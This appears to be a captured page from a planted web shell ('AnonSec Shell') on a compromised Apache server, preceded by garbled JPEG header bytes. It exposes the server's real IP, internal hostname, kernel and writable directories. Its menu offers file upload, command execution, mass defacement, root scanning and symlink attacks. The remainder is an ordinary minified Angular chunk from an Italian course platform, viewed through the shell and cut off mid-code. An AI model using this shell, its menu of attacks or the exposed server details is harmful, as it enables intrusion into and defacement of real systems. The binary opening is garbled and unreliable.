JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/_www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/_www/499.15cd1993d2d2e54f.js
"use strict";(self.webpackChunkSapere=self.webpackChunkSapere||[]).push([[499],{7499:(pe,T,l)=>{l.r(T),l.d(T,{PagesRoutes:()=>de});var m=l(467),w=l(8199),t=l(4438),g=l(4628),d=l(5596);let N=(()=>{class a{constructor(e){this.vsidenav=e,this.options=this.vsidenav.getOptions()}getUserInfo(e){let i=localStorage.getItem("user_info");if(e&&i){let o=JSON.parse(i)[e];if(o)return o}return""}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(g.P))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-welcome-card"]],standalone:!0,features:[t.aNF],decls:10,vars:4,consts:[[1,"cardWithShadow"],[1,"row","justify-content-between"],[1,"col-sm-6"],[1,"mat-body-1","lh-24","m-b-30"],[1,"col-sm-5"],["src","assets/images/backgrounds/welcome-bg.png","alt","welcome","width","340",1,"welcome-img","d-none","d-lg-flex"]],template:function(i,o){1&i&&(t.j41(0,"mat-card",0)(1,"mat-card-content")(2,"div",1)(3,"div",2)(4,"mat-card-title"),t.EFF(5),t.k0s(),t.j41(6,"mat-card-subtitle",3),t.EFF(7,"Controlla qui le tue statistiche"),t.k0s()(),t.j41(8,"div",4),t.nrm(9,"img",5),t.k0s()()()()),2&i&&(t.R7$(4),t.xc7("color","dark"==o.options.theme?"white":""),t.R7$(),t.Lme("Bentornato ",o.vsidenav.getUserInfo("nome")," ",o.vsidenav.getUserInfo("cognome"),""))},dependencies:[w.G,d.RN,d.m2,d.Lc,d.dh],encapsulation:2})}}return a})();var f=l(4912),E=l(15);function I(a,r){if(1&a&&t.EFF(0),2&a){const e=t.XpG();t.SpI(" ",e.statistiche.corsi," ")}}function G(a,r){if(1&a&&t.EFF(0),2&a){const e=t.XpG();t.SpI(" ",e.statistiche.superati," ")}}function V(a,r){if(1&a&&t.EFF(0),2&a){const e=t.XpG();t.SpI(" ",e.statistiche.seguiti," ")}}let x=(()=>{class a{constructor(e,i){this.vsidenav=e,this.api=i}ngOnInit(){var e=this;return(0,m.A)(function*(){e.statistiche=yield e.api.call("getHomeTopCards",{},!1,!1,!1)})()}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(g.P),t.rXU(E.W))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-top-cards"]],standalone:!0,features:[t.aNF],decls:31,vars:3,consts:[[1,"row"],[1,"col-lg-4"],[1,"cardWithShadow","bg-primary","text-white","overflow-hidden"],["src","assets/images/backgrounds/top-error-shape.png",1,"top-img"],["name","school",1,"icon-30","d-flex"],[1,"m-t-35"],[1,"f-w-600","f-s-21","m-0"],[1,"f-s-14"],["src","assets/images/backgrounds/top-info-shape.png",1,"top-img"],["name","star",1,"icon-30","d-flex"],["src","assets/images/backgrounds/top-warning-shape.png",1,"top-img"],["name","progress-check",1,"icon-30","d-flex"]],template:function(i,o){1&i&&(t.j41(0,"div",0)(1,"div",1)(2,"mat-card",2),t.nrm(3,"img",3),t.j41(4,"mat-card-content"),t.nrm(5,"i-tabler",4),t.j41(6,"div",5)(7,"h5",6),t.DNE(8,I,1,1),t.k0s(),t.j41(9,"span",7),t.EFF(10,"Iscrizione Corsi"),t.k0s()()()()(),t.j41(11,"div",1)(12,"mat-card",2),t.nrm(13,"img",8),t.j41(14,"mat-card-content"),t.nrm(15,"i-tabler",9),t.j41(16,"div",5)(17,"h5",6),t.DNE(18,G,1,1),t.k0s(),t.j41(19,"span",7),t.EFF(20,"Esami Superati"),t.k0s()()()()(),t.j41(21,"div",1)(22,"mat-card",2),t.nrm(23,"img",10),t.j41(24,"mat-card-content"),t.nrm(25,"i-tabler",11),t.j41(26,"div",5)(27,"h5",6),t.DNE(28,V,1,1),t.k0s(),t.j41(29,"span",7),t.EFF(30,"Lezioni Seguite"),t.k0s()()()()()()),2&i&&(t.R7$(8),t.vxM(o.statistiche&&o.statistiche.corsi?8:-1),t.R7$(10),t.vxM(o.statistiche&&o.statistiche.superati?18:-1),t.R7$(10),t.vxM(o.statistiche&&o.statistiche.seguiti?28:-1))},dependencies:[w.G,d.RN,d.m2,f.X4,f.Jc],encapsulation:2})}}return a})();var u=l(177),n=l(9417),h=l(8887),j=l(4944);let P=(()=>{class a{constructor(e,i,o,s){this.api=e,this.settings=i,this.activatedRouter=o,this.ws=s,this.ws.sendMessage("Entrato nella sezione dashboard","Dashboard")}ngOnDestroy(){this.ws.sendMessage("Uscito dalla dashboard","Dashboard")}ngOnInit(){var e=this;return(0,m.A)(function*(){e.id_user=e.settings.getUserInfo("id_user"),e.iscrizioniCorsi=yield e.api.call("getIscrizioniCorsiUtente",{id_user:e.id_user}),e.files=yield e.api.call("getFilesUtente",{id_user:e.id_user})})()}check_prenotazione(e,i){if(e){for(let o=0;o<e.length;o++)if(e[o].id_corso==i)return!1;return!0}return!0}check_un_mese(e){if(!e)return!1;const i=new Date,o=new Date(e);return new Date(o.setMonth(o.getMonth()+3)).getTime()>i.getTime()}check_esame(e,i){if(e){for(let o=0;o<e.length;o++)if("1"==e[o].esito&&e[o].id_corso==i)return!1;return!0}return!0}check_esami(e){let i=0;if(e)for(let o=0;o<e.length;o++)"1"==e[o].esito&&i++;return i}ristampa_certificato(){var e=this;return(0,m.A)(function*(){e.settings.openDialog("Per richiedere il duplicato del certificato, puoi contattarci tramite i contatti ufficiali che trovi nel nostro sito!","ristampa_certificato")})()}scarica_certificato(){var e=this;return(0,m.A)(function*(){e.settings.openDialog("Funzione non ancora disponibile, si prega di riprovare tra qualche giorno o contattare la segreteria!","error")})()}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(E.W),t.rXU(g.P),t.rXU(h.nX),t.rXU(j.V))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-dashboard"]],standalone:!0,features:[t.aNF],decls:5,vars:0,consts:[[1,"row"],[1,"col-lg-6"]],template:function(i,o){1&i&&(t.j41(0,"div",0)(1,"div",1),t.nrm(2,"app-welcome-card"),t.k0s(),t.j41(3,"div",1),t.nrm(4,"app-top-cards"),t.k0s()())},dependencies:[N,x,w.G,u.MD,n.YN,n.X1,f.X4],encapsulation:2})}}return a})();var k=l(8834),_=l(3719),M=l(9213),D=l(9631),$=l(2798),S=l(450),A=l(6850),y=l(5084),U=l(5263),R=l(6600),X=l(5324),Y=l(5574);function J(a,r){1&a&&(t.j41(0,"mat-card",2)(1,"mat-card-content",49)(2,"mat-card-title",50),t.EFF(3," Devi inserire i dati angrafici per poter utilizzare il sistema! "),t.k0s()()())}function B(a,r){1&a&&(t.j41(0,"div",51)(1,"mat-icon"),t.nrm(2,"i-tabler",52),t.k0s()(),t.EFF(3," Account "))}function O(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Vecchia password "),t.j41(2,"strong"),t.EFF(3,"obbligatoria!"),t.k0s()())}function L(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Nuova password "),t.j41(2,"strong"),t.EFF(3,"obbligatoria!"),t.k0s()())}function q(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Conferma della nuova password "),t.j41(2,"strong"),t.EFF(3,"obbligatoria!"),t.k0s()())}function H(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"La password inserita non corrisponde, "),t.j41(2,"strong"),t.EFF(3,"si prega di riprovare!"),t.k0s()())}function W(a,r){1&a&&(t.j41(0,"div",51)(1,"mat-icon"),t.nrm(2,"i-tabler",53),t.k0s()(),t.EFF(3," Anagrafica "))}function Z(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Nome "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function Q(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Cognome "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function K(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Codice Fiscale "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function tt(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Nazionalit\xe0 "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function et(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Nazione di nascita \xe8 "),t.j41(2,"strong"),t.EFF(3,"obbligatoria!"),t.k0s()())}function at(a,r){if(1&a&&(t.j41(0,"mat-option",54),t.EFF(1),t.k0s()),2&a){const e=r.$implicit;t.Y8G("value",e.nome_comune),t.R7$(),t.JRh(e.nome_comune)}}function ot(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"La selezione del comune di nascita \xe8 "),t.j41(2,"strong"),t.EFF(3,"obbligatoria!"),t.k0s()())}function it(a,r){if(1&a&&(t.j41(0,"div",9)(1,"mat-label",20),t.EFF(2,"Comune di Nascita "),t.k0s(),t.j41(3,"mat-form-field",40)(4,"mat-select",41),t.DNE(5,at,2,2,"mat-option",46),t.k0s(),t.DNE(6,ot,4,0,"mat-error"),t.k0s()()),2&a){const e=t.XpG();t.R7$(4),t.Y8G("formControl",e.anagraficaFormControl.controls.comune_nascita)("errorStateMatcher",e.matcher),t.R7$(),t.Y8G("ngForOf",e.comuni),t.R7$(),t.vxM(e.anagraficaFormControl.controls.comune_nascita.hasError("required")?6:-1)}}function rt(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Data di nascita "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function nt(a,r){if(1&a&&(t.j41(0,"mat-option",54),t.EFF(1),t.k0s()),2&a){const e=r.$implicit;t.Y8G("value",e.nome_comune),t.R7$(),t.JRh(e.nome_comune)}}function st(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"La selezione della citt\xe0 \xe8 "),t.j41(2,"strong"),t.EFF(3,"obbligatoria!"),t.k0s()())}function lt(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Indirizzo "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function ct(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Codice di avviamento postale "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function mt(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Titolo di studio "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function dt(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Numero di telefono "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}function pt(a,r){1&a&&(t.j41(0,"mat-error"),t.EFF(1,"Numero di cellulare "),t.j41(2,"strong"),t.EFF(3,"obbligatorio!"),t.k0s()())}class ft{isErrorState(r,e){return!!(r&&r.invalid&&(r.dirty||r.touched||e&&e.submitted))}}let ut=(()=>{class a{checkPasswordValidator(){return e=>{if(e&&e.controls&&"newpwd"in e.controls&&"newpwd_check"in e.controls){const s=e.controls.newpwd_check;return e.controls.newpwd.value!==s.value?(s.setErrors({notEquivalent:!0}),{notEquivalent:!0}):s.value?(s.setErrors(null),null):(s.setErrors({required:!0}),{required:!0})}return null}}constructor(e,i,o){this.api=e,this.settings=i,this.ws=o,this.fieldOldPasswordType=!1,this.fieldNewPasswordType=!1,this.fieldNewCheckPasswordType=!1,this.avatarLocation="/assets/images/logos/no-logo.webp",this.matcher=new ft,this.passwordFormControl=new n.gE({oldpwd:new n.MJ(null,[n.k0.required]),newpwd:new n.MJ(null,[n.k0.required]),newpwd_check:new n.MJ(null,[n.k0.required,this.checkPasswordValidator()])}),this.anagraficaFormControl=new n.gE({id_user_info:new n.MJ(null),id_user:new n.MJ(null),nome:new n.MJ("",[n.k0.required,n.k0.nullValidator]),cognome:new n.MJ("",[n.k0.required,n.k0.nullValidator]),cdf:new n.MJ("",[n.k0.required,n.k0.nullValidator]),partita_iva:new n.MJ(""),indirizzo:new n.MJ("",[n.k0.required,n.k0.nullValidator]),nazionalita:new n.MJ("",[n.k0.required,n.k0.nullValidator]),nazione_nascita:new n.MJ("",[n.k0.required]),datanascita:new n.MJ("",[n.k0.required,n.k0.nullValidator]),comune_nascita:new n.MJ("",[]),titolo_studio:new n.MJ("",[n.k0.required,n.k0.nullValidator]),citta:new n.MJ("",[n.k0.required,n.k0.nullValidator]),cap:new n.MJ(null,[n.k0.required,n.k0.nullValidator]),telefono:new n.MJ("",[n.k0.required,n.k0.nullValidator]),cellulare:new n.MJ(""),avatar_location:new n.MJ(""),sede:new n.MJ(""),iva:new n.MJ(""),iban:new n.MJ(""),marketing:new n.MJ(0),insert_id_user:new n.MJ(0),updated_time:new n.MJ("")}),this.passwordFormControl.setValidators(this.checkPasswordValidator()),this.ws.sendMessage("Entrato nella sezione anagrafica","Angrafica")}ngOnDestroy(){this.ws.sendMessage("Uscito dalla sezione anagrafica","Angrafica")}ngOnInit(){var e=this;return(0,m.A)(function*(){e.userInfo=yield e.api.call("getMyUserInfo"),e.marketingCheck=0!=e.userInfo.marketing,e.api.avatarLocation$.subscribe(i=>{i&&(e.avatarLocation=i)}),e.comuni=yield e.api.call("getcomuni"),e.anagraficaFormControl.setValue(e.userInfo),e.anagraficaFormControl.get("datanascita")?.valueChanges.subscribe(i=>{if(!i)return;let o=new Date(new Date(i).setHours(new Date(i).getHours()+2));e.anagraficaFormControl.get("datanascita")?.setValue(o.toISOString().substring(0,10),{emitEvent:!1})})})()}aggiornaAnagrafica(e){var i=this;return(0,m.A)(function*(){e&&!i.anagraficaFormControl.valid||(yield i.api.call("updateUserInfo",i.anagraficaFormControl.value,!0),i.ws.sendMessage("Aggiornata anagrafica","Angrafica"),localStorage.setItem("profile_check","true"))})()}aggiornaPassword(){var e=this;return(0,m.A)(function*(){e.checkPasswordValidator()&&(yield e.api.call("modificapassword",{oldpwd:e.passwordFormControl.controls.oldpwd.value,newpwd:e.passwordFormControl.controls.newpwd.value},!0),e.ws.sendMessage("Aggiornata password","Angrafica"))})()}aggiornaMarketing(){var e=this;return(0,m.A)(function*(){e.anagraficaFormControl.controls.marketing.setValue(e.marketingCheck?1:0),e.aggiornaAnagrafica()})()}aggiornaLogo(e){var i=this;return(0,m.A)(function*(){const s=e.target.files;(yield i.api.call("updateAvatarLocation",{files:s},!1,!0))&&i.api.getImageProfileBE()})()}resetLogo(){var e=this;return(0,m.A)(function*(){yield e.api.call("resetAvatarLocation"),e.api.getImageProfileBE()})()}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(E.W),t.rXU(g.P),t.rXU(j.V))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-anagrafica"]],standalone:!0,features:[t.Jv_([(0,R.aw)(),{provide:X.MJ,useClass:U.ZG,useFactory:Y.a},{provide:R.Ju,useValue:"it-IT"}]),t.aNF],decls:171,vars:60,consts:[["upfile",""],["picker",""],[1,"cardWithShadow","overflow-hidden"],[1,"cardWithShadow"],[1,"p-0"],["mat-stretch-tabs","false","animationDuration","0ms",3,"selectedIndex"],["mat-tab-label",""],[1,"p-y-24","b-t-1"],[1,"row"],[1,"col-sm-6"],[1,"p-y-24"],[1,"mat-body-1"],[1,"text-center","m-t-24"],["width","120","height","120",1,"rounded-circle",3,"ngSrc"],[1,"m-t-24"],["type","file","accept","image/png, image/gif, image/jpeg",2,"visibility","hidden","display","none",3,"change"],["mat-flat-button","","color","primary",1,"m-r-8",3,"click"],["mat-stroked-button","","color","warn",3,"click"],[1,"f-s-14","m-t-24","d-block"],[1,"m-t-24",3,"ngSubmit","formGroup"],[1,"mat-subtitle-2","f-w-600","m-b-8","d-block"],["appearance","outline","color","primary",1,"w-100"],["matInput","",3,"type","formControl","errorStateMatcher"],["matSuffix","",2,"cursor","pointer",3,"click"],[1,"text-right","p-24","p-t-20","m-b-0","p-b-0","p-r-0"],["type","submit","mat-flat-button","","color","primary",1,"m-r-0",3,"disabled"],[1,"col-sm-12"],[1,"d-flex","align-items-center","m-t-24"],["mat-mini-fab","",1,"bg-light-primary","shadow-none","rounded","icon-48"],["name","ad-circle",1,"icon-20","d-flex","text-primary"],[1,"m-l-16","w-100"],[1,"f-s-16","f-w-600","m-0","m-b-4"],[1,"f-s-14"],["color","primary",1,"m-l-auto","text-success","text-accent",3,"change","ngModelChange","ngModel"],[1,"row","justify-content-center"],[1,"col-12"],[3,"ngSubmit","formGroup"],[1,"d-flex","align-items-center","p-b-30","b-b-1"],[1,"row","m-t-24"],["matInput","","type","text",3,"formControl","errorStateMatcher"],["appearance","outline",1,"w-100"],[3,"formControl","errorStateMatcher"],["value","italia"],["value","estero"],["matInput","","type","text",3,"formControl","matDatepicker","errorStateMatcher"],["matIconSuffix","",3,"for"],[3,"value",4,"ngFor","ngForOf"],["matInput","","type","number",3,"formControl","errorStateMatcher"],["type","submit","mat-flat-button","","color","primary",1,"m-r-0"],[1,"bg-error","text-white","p-y-10","text-center"],[1,"align-items-center","text-center"],[1,"d-flex","align-items-center"],["name","user-circle",1,"icon-20","m-r-8"],["name","user-edit",1,"icon-20","m-r-8"],[3,"value"]],template:function(i,o){if(1&i){const s=t.RV6();t.DNE(0,J,4,0,"mat-card",2),t.j41(1,"mat-card",3)(2,"mat-card-content",4)(3,"mat-tab-group",5)(4,"mat-tab"),t.DNE(5,B,4,0,"ng-template",6),t.j41(6,"mat-card-content",7)(7,"div",8)(8,"div",9)(9,"mat-card",3)(10,"mat-card-content",10)(11,"mat-card-title"),t.EFF(12,"Foto del profilo"),t.k0s(),t.j41(13,"mat-card-subtitle",11),t.EFF(14,"Carica qui la tua foto"),t.k0s(),t.j41(15,"div",12),t.nrm(16,"img",13),t.j41(17,"div",14)(18,"input",15,0),t.bIt("change",function(v){return t.eBV(s),t.Njj(o.aggiornaLogo(v))}),t.k0s(),t.j41(20,"button",16),t.bIt("click",function(){t.eBV(s);const v=t.sdS(19);return t.Njj(v.click())}),t.EFF(21," Carica "),t.k0s(),t.j41(22,"button",17),t.bIt("click",function(){return t.eBV(s),t.Njj(o.resetLogo())}),t.EFF(23,"Reset"),t.k0s()(),t.j41(24,"span",18),t.EFF(25,"Ammessi solo PNG di dimensione massima 800K"),t.k0s()()()()(),t.j41(26,"div",9)(27,"mat-card",3)(28,"mat-card-content",10)(29,"mat-card-title"),t.EFF(30,"Cambia Password"),t.k0s(),t.j41(31,"mat-card-subtitle",11),t.EFF(32,"Utilizza questo modulo per modificare la tua password"),t.k0s(),t.j41(33,"form",19),t.bIt("ngSubmit",function(){return t.eBV(s),t.Njj(o.aggiornaPassword())}),t.j41(34,"mat-label",20),t.EFF(35,"Password Attuale"),t.k0s(),t.j41(36,"mat-form-field",21),t.nrm(37,"input",22),t.j41(38,"mat-icon",23),t.bIt("click",function(){return t.eBV(s),t.Njj(o.fieldOldPasswordType=!o.fieldOldPasswordType)}),t.EFF(39,"remove_red_eye"),t.k0s(),t.DNE(40,O,4,0,"mat-error"),t.k0s(),t.j41(41,"mat-label",20),t.EFF(42,"Nuova Password"),t.k0s(),t.j41(43,"mat-form-field",21),t.nrm(44,"input",22),t.j41(45,"mat-icon",23),t.bIt("click",function(){return t.eBV(s),t.Njj(o.fieldNewPasswordType=!o.fieldNewPasswordType)}),t.EFF(46,"remove_red_eye"),t.k0s(),t.DNE(47,L,4,0,"mat-error"),t.k0s(),t.j41(48,"mat-label",20),t.EFF(49,"Conferma Password"),t.k0s(),t.j41(50,"mat-form-field",21),t.nrm(51,"input",22),t.j41(52,"mat-icon",23),t.bIt("click",function(){return t.eBV(s),t.Njj(o.fieldNewCheckPasswordType=!o.fieldNewCheckPasswordType)}),t.EFF(53,"remove_red_eye"),t.k0s(),t.DNE(54,q,4,0,"mat-error")(55,H,4,0,"mat-error"),t.k0s(),t.j41(56,"div",24)(57,"button",25),t.EFF(58,"Aggiorna Password"),t.k0s()()()()()(),t.j41(59,"div",26)(60,"mat-card",3)(61,"mat-card-content",10)(62,"mat-card-title"),t.EFF(63,"Comunicazioni Pubblicitarie"),t.k0s(),t.j41(64,"div",27)(65,"button",28),t.nrm(66,"i-tabler",29),t.k0s(),t.j41(67,"div",30)(68,"h5",31),t.EFF(69," Ricevi via email le promozioni dedicate ai centri. "),t.k0s(),t.j41(70,"span",32),t.EFF(71,"Seleziona se ricevere o meno le nostre promozioni a te dedicate"),t.k0s()(),t.j41(72,"mat-slide-toggle",33),t.bIt("change",function(){return t.eBV(s),t.Njj(o.aggiornaMarketing())}),t.mxI("ngModelChange",function(v){return t.eBV(s),t.DH7(o.marketingCheck,v)||(o.marketingCheck=v),t.Njj(v)}),t.k0s()()()()()()()(),t.j41(73,"mat-tab"),t.DNE(74,W,4,0,"ng-template",6),t.j41(75,"mat-card-content",7)(76,"div",34)(77,"div",35)(78,"mat-card",3)(79,"mat-card-content")(80,"form",36),t.bIt("ngSubmit",function(){return t.eBV(s),t.Njj(o.aggiornaAnagrafica(!0))}),t.j41(81,"mat-card-title"),t.EFF(82,"Le tue informazioni"),t.k0s(),t.j41(83,"div",37)(84,"mat-card-subtitle",11),t.EFF(85,"Per cambiare le tue informazioni, edita qui i tuoi dati e poi clicca sul pulsante salva."),t.k0s()(),t.j41(86,"div",38)(87,"div",9)(88,"mat-label",20),t.EFF(89,"Nome"),t.k0s(),t.j41(90,"mat-form-field",21),t.nrm(91,"input",39),t.DNE(92,Z,4,0,"mat-error"),t.k0s()(),t.j41(93,"div",9)(94,"mat-label",20),t.EFF(95,"Cognome"),t.k0s(),t.j41(96,"mat-form-field",21),t.nrm(97,"input",39),t.DNE(98,Q,4,0,"mat-error"),t.k0s()(),t.j41(99,"div",9)(100,"mat-label",20),t.EFF(101,"Codice Fiscale"),t.k0s(),t.j41(102,"mat-form-field",21),t.nrm(103,"input",39),t.DNE(104,K,4,0,"mat-error"),t.k0s()(),t.j41(105,"div",9)(106,"mat-label",20),t.EFF(107,"Nazionalit\xe0"),t.k0s(),t.j41(108,"mat-form-field",21),t.nrm(109,"input",39),t.DNE(110,tt,4,0,"mat-error"),t.k0s()(),t.j41(111,"div",9)(112,"mat-label",20),t.EFF(113,"Nazione di Nascita "),t.k0s(),t.j41(114,"mat-form-field",40)(115,"mat-select",41)(116,"mat-option",42),t.EFF(117,"Italia"),t.k0s(),t.j41(118,"mat-option",43),t.EFF(119,"Estero"),t.k0s()(),t.DNE(120,et,4,0,"mat-error"),t.k0s()(),t.DNE(121,it,7,4,"div",9),t.j41(122,"div",9)(123,"mat-label",20),t.EFF(124,"Data di Nascita"),t.k0s(),t.j41(125,"mat-form-field",21),t.nrm(126,"input",44)(127,"mat-datepicker-toggle",45)(128,"mat-datepicker",null,1),t.DNE(130,rt,4,0,"mat-error"),t.k0s()(),t.j41(131,"div",9)(132,"mat-label",20),t.EFF(133,"Citt\xe0 di residenza"),t.k0s(),t.j41(134,"mat-form-field",40)(135,"mat-select",41),t.DNE(136,nt,2,2,"mat-option",46),t.k0s(),t.DNE(137,st,4,0,"mat-error"),t.k0s()(),t.j41(138,"div",9)(139,"mat-label",20),t.EFF(140,"Indirizzo di residenza"),t.k0s(),t.j41(141,"mat-form-field",21),t.nrm(142,"input",39),t.DNE(143,lt,4,0,"mat-error"),t.k0s()(),t.j41(144,"div",9)(145,"mat-label",20),t.EFF(146,"Cap di residenza"),t.k0s(),t.j41(147,"mat-form-field",21),t.nrm(148,"input",47),t.DNE(149,ct,4,0,"mat-error"),t.k0s()(),t.j41(150,"div",9)(151,"mat-label",20),t.EFF(152,"Titolo di studio"),t.k0s(),t.j41(153,"mat-form-field",21),t.nrm(154,"input",39),t.DNE(155,mt,4,0,"mat-error"),t.k0s()(),t.j41(156,"div",9)(157,"mat-label",20),t.EFF(158,"Telefono"),t.k0s(),t.j41(159,"mat-form-field",21),t.nrm(160,"input",39),t.DNE(161,dt,4,0,"mat-error"),t.k0s()(),t.j41(162,"div",9)(163,"mat-label",20),t.EFF(164,"Cellulare"),t.k0s(),t.j41(165,"mat-form-field",21),t.nrm(166,"input",39),t.DNE(167,pt,4,0,"mat-error"),t.k0s()()(),t.j41(168,"div",24)(169,"button",48),t.EFF(170,"Salva Modifiche"),t.k0s()()()()()()()()()()()()}if(2&i){const s=t.sdS(129);t.vxM(o.settings.profileCheck()?0:-1),t.R7$(3),t.Y8G("selectedIndex",1),t.R7$(13),t.FS9("ngSrc",o.avatarLocation),t.R7$(17),t.Y8G("formGroup",o.passwordFormControl),t.R7$(4),t.Y8G("type",o.fieldOldPasswordType?"text":"password")("formControl",o.passwordFormControl.controls.oldpwd)("errorStateMatcher",o.matcher),t.R7$(3),t.vxM(o.passwordFormControl.controls.oldpwd.hasError("required")?40:-1),t.R7$(4),t.Y8G("type",o.fieldNewPasswordType?"text":"password")("formControl",o.passwordFormControl.controls.newpwd)("errorStateMatcher",o.matcher),t.R7$(3),t.vxM(o.passwordFormControl.controls.newpwd.hasError("required")?47:-1),t.R7$(4),t.Y8G("type",o.fieldNewCheckPasswordType?"text":"password")("formControl",o.passwordFormControl.controls.newpwd_check)("errorStateMatcher",o.matcher),t.R7$(3),t.vxM(o.passwordFormControl.controls.newpwd_check.hasError("required")?54:-1),t.R7$(),t.vxM(o.passwordFormControl.controls.newpwd.value!=o.passwordFormControl.controls.newpwd_check.value?55:-1),t.R7$(2),t.Y8G("disabled",!o.passwordFormControl.valid||o.passwordFormControl.controls.newpwd.value!=o.passwordFormControl.controls.newpwd_check.value),t.R7$(15),t.R50("ngModel",o.marketingCheck),t.R7$(8),t.Y8G("formGroup",o.anagraficaFormControl),t.R7$(11),t.Y8G("formControl",o.anagraficaFormControl.controls.nome)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.nome.hasError("required")?92:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.cognome)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.cognome.hasError("required")?98:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.cdf)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.cdf.hasError("required")?104:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.nazionalita)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.nazionalita.hasError("required")?110:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.nazione_nascita)("errorStateMatcher",o.matcher),t.R7$(5),t.vxM(o.anagraficaFormControl.controls.nazione_nascita.hasError("required")?120:-1),t.R7$(),t.vxM("italia"==o.anagraficaFormControl.value.nazione_nascita?121:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.datanascita)("matDatepicker",s)("errorStateMatcher",o.matcher),t.R7$(),t.Y8G("for",s),t.R7$(3),t.vxM(o.anagraficaFormControl.controls.datanascita.hasError("required")?130:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.citta)("errorStateMatcher",o.matcher),t.R7$(),t.Y8G("ngForOf",o.comuni),t.R7$(),t.vxM(o.anagrafic